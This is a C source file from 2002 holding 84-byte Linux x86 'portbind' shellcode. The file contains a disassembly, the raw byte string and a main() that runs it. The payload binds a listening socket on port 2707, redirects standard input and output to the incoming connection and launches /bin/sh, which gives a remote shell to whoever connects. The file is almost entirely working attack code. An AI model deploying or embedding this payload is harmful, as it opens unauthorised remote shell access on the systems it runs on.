/*
 * Shellcode - portbind (84 bytes)
 *
 *  Copyright (c) 2002 Giuseppe Gottardi 'oveRet' <overet@securitydate.it>
 *
 *  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 *
 * 8048304:	6a 66                	push   $0x66
 * 8048306:	58                   	pop    %eax
 * 8048307:	6a 01                	push   $0x1
 * 8048309:	5b                   	pop    %ebx
 * 804830a:	99                   	cltd   
 * 804830b:	52                   	push   %edx
 * 804830c:	53                   	push   %ebx
 * 804830d:	6a 02                	push   $0x2
 * 804830f:	89 e1                	mov    %esp,%ecx
 * 8048311:	cd 80                	int    $0x80
 * 8048313:	52                   	push   %edx
 * 8048314:	43                   	inc    %ebx
 * 8048315:	68 ff 02 0a 93       	push   $0x930a02ff
 * 804831a:	89 e1                	mov    %esp,%ecx
 * 804831c:	6a 10                	push   $0x10
 * 804831e:	51                   	push   %ecx
 * 804831f:	50                   	push   %eax
 * 8048320:	89 e1                	mov    %esp,%ecx
 * 8048322:	89 c6                	mov    %eax,%esi
 * 8048324:	b0 66                	mov    $0x66,%al
 * 8048326:	cd 80                	int    $0x80
 * 8048328:	43                   	inc    %ebx
 * 8048329:	43                   	inc    %ebx
 * 804832a:	b0 66                	mov    $0x66,%al
 * 804832c:	cd 80                	int    $0x80
 * 804832e:	52                   	push   %edx
 * 804832f:	56                   	push   %esi
 * 8048330:	89 e1                	mov    %esp,%ecx
 * 8048332:	43                   	inc    %ebx
 * 8048333:	b0 66                	mov    $0x66,%al
 * 8048335:	cd 80                	int    $0x80
 * 8048337	89 d9			mov    %ebx,%ecx
 * 8048339:	89 c3                	mov    %eax,%ebx
 * 804833b:	b0 3f                	mov    $0x3f,%al
 * 804833d:	49                   	dec    %ecx
 * 804833e:	cd 80                	int    $0x80
 * 8048340:	41                   	inc    %ecx
 * 8048341:	e2 f8                	loop   804833b
 * 8048343:	52                   	push   %edx
 * 8048344:	68 6e 2f 73 68       	push   $0x68732f6e
 * 8048349:	68 2f 2f 62 69       	push   $0x69622f2f
 * 804834e:	89 e3                	mov    %esp,%ebx
 * 8048350:	52                   	push   %edx
 * 8048351:	53                   	push   %ebx
 * 8048352:	89 e1                	mov    %esp,%ecx
 * 8048354:	b0 0b                	mov    $0xb,%al
 * 8048356:	cd 80                	int    $0x80
 *
*/

#include <stdio.h>
#define L_PORT "\x0a\x93"	/* Port 2707 */

char shellcode[] = "\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89"
                   "\xe1\xcd\x80\x52\x43\x68\xff\x02"L_PORT"\x89\xe1"
                   "\x6a\x10\x51\x50\x89\xe1\x89\xc6\xb0\x66\xcd\x80"
                   "\x43\x43\xb0\x66\xcd\x80\x52\x56\x89\xe1\x43\xb0"
                   "\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
                   "\x41\xe2\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
                   "\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

main()
{
	void (*f)();
	(long) f = &shellcode; 
	fprintf(stdout, "lenght: %d bytes\n", sizeof(shellcode) - 1);
	f(); 
}